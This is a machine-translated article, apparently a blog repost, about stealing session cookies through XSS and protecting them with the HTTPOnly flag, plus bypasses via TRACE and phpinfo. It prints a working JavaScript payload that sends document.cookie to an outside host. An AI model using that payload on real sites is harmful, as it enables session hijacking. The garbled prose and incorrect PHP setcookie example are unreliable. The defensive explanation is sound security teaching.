Use HTTPOnly to improve application security

With the rise of WWW services, more and more applicationsProgramTurning to the B/S structure, we only need a browser to access a variety of web services. However, this has also caused more and more Web security problems. The WWW Service depends on the HTTP protocol. HTTP is a stateless protocol. Therefore, in order to transmit information between sessions, technologies such as cookies and sessions are inevitably used to mark the visitor's status, cookie and session are usually implemented using cookies (the session is actually marked with a token in the cookie of the browser, after the server obtains the token and checks its validity, it binds the status of the storage on the server to the browser. In this way, the server will inevitably focus on the cookie as long as it obtains the cookie, attackers can obtain others' identities. This is a wonderful thing for intruders. In particular, when the obtained cookies belong to high-privilege administrators, the damage is even greater. XSS vulnerabilities are especially dangerous in various Web security issues.

For applications, once the XSS vulnerability exists, it means that others can execute arbitrary JS scripts in your browser. If the application is open source or the function is open, others can use ajax to use these functions, but the process is often very cumbersome. In particular, it is more difficult to directly obtain others' identities for random browsing. For non-open-source applications, such as the Web Background of some large websites (a notable feature of Web2.0 is a large amount of interaction, users often need to interact with the background administrator, such as bug reporting, or information delivery, etc.), although the interaction may have a cross-site scripting vulnerability, but it is impossible to construct a perfect AjaxCodeEven if Javascript can be used to obtain the background code and return it for analysis, the process is equally cumbersome and invisible. At this time, it is very effective to obtain the cookie or session hijacking by using the XSS vulnerability. Analyze the Application Authentication and then use some skills, you can even obtain the identity of the other party even if the other party exits the program.

So how do I obtain the cookie or session hijacking? In the document object of the browser, the cookie information is stored, and JS can be used to obtain the cookie, as long as the cookie is obtained, the identity of others can be obtained. A typical XSS attack statement is as follows:

XSS Exp:

URL = document. top. location. href;
cookie = document. cookie;
C = New image ();
C. SRC = ' http://www.loveshell.net/c.php? C = ' + cookie + ' & U = ' + URL;

Some applications may adopt browser binding technology, for example, binding cookies to the User-Agent of the browser. Once any modification is found, the cookie becomes invalid. This method has proved to be invalid because when an attacker steals a cookie, he must have obtained the User-Agent at the same time. Another strict method is to bind cookies to remote-ADDR (actually, it is to bind an IP address, but some methods of getting an IP address from programs are the same, which leads to excessive review ), however, this results in a poor user experience. IP address replacement is a common problem. For example, there are two IP addresses at work and at home, so this method is often not used. Therefore, cookie-based attack methods are very popular now. In some Web 2.0 websites, it is easy to obtain the application administrator identity.

How can we ensure the security of our sensitive cookies? Through the above analysis, the general cookie is obtained from the document object, we just need to make the sensitive cookie invisible in the browser document. Fortunately, when setting cookies, the browser usually accepts a parameter called HTTPOnly, which is the same as other parameters such as domain. Once HTTPOnly is set, you cannot see the cookie in the Document Object of the browser, and the browser will not be affected when browsing, because the cookie will be sent out in the browser header (including Ajax ), applications generally do not operate on these sensitive cookies in JS. For some sensitive cookies, we use HTTPOnly. For some cookies that need to be operated in applications, we will not set them, this ensures the security of cookie information and applications. For more information about HTTPOnly, see http://msdn2.microsoft.com/en-us/library/ms533046.aspx.

Set the cookie header for the browser as follows:

Set-COOKIE: < Name > = < Value > [; < Name > = < Value > ]
[; Expires = < Date > ] [; Domain = < Domain_name > ]
[; Path = < Some_path > ] [; Secure] [; HTTPOnly]

Take php as an example. In PHP 5.2, HTTPOnly support has been added to the setcookie function. For example:

<? PHP
Setcookie ("ABC", "test", null, true );
?>

You can set the cookie ABC to HTTPOnly, and the document will not be able to see the cookie. Because the setcookie function is essentially a header, you can use the header to set HTTPOnly. Then use document. Cookie to see that the cookie is no longer available. We use this method to protect the benefits such as sessionid, such as some Auth-Cookies used for authentication, so we don't have to worry about identity acquisition, this is of great significance for some background programs and Webmail to improve security. When we use the above attack method again, we can see that we are no longer able to obtain the sensitive Cookie set as HTTPOnly.

However, we can also see that HTTPOnly is not omnipotent. First, it cannot solve the XSS problem. It still cannot resist the attacks of some patient hackers, nor prevent intruders from making Ajax submissions, even some XSS-based proxies have emerged, but the attack threshold can be increased. At least XSS attacks are not completed by every script kiddies, in addition, the other attack methods are not as common as Cookie Theft because of some environmental and technical restrictions.

HTTPOnly may also exploit some vulnerabilities or configure bypass. The key issue is that it can retrieve the cookie header sent by the browser. For example, the previous http trace attack can display the cookie in your header, and use Ajax or flash to complete this attack, this method has been fixed in Ajax and flash. Another notable example about the configuration or application's possible bypass is phpinfo. We all know that phpinfo will display the HTTP header sent by the browser, including the auth information we protect, this page often exists on various sites. You only need to use ajax to retrieve the phpinfo page and retrieve the part corresponding to the header to obtain the cookie. Incomplete applications may also cause header leakage. This attack method can be used to attack pages protected by basic verification.

HTTPOnly is more than 6 IE, Firefox has better support than new versions, and has been widely used in applications such as Hotmail, and has achieved better security effects.

Source: http://www.sai52.com/archives/840/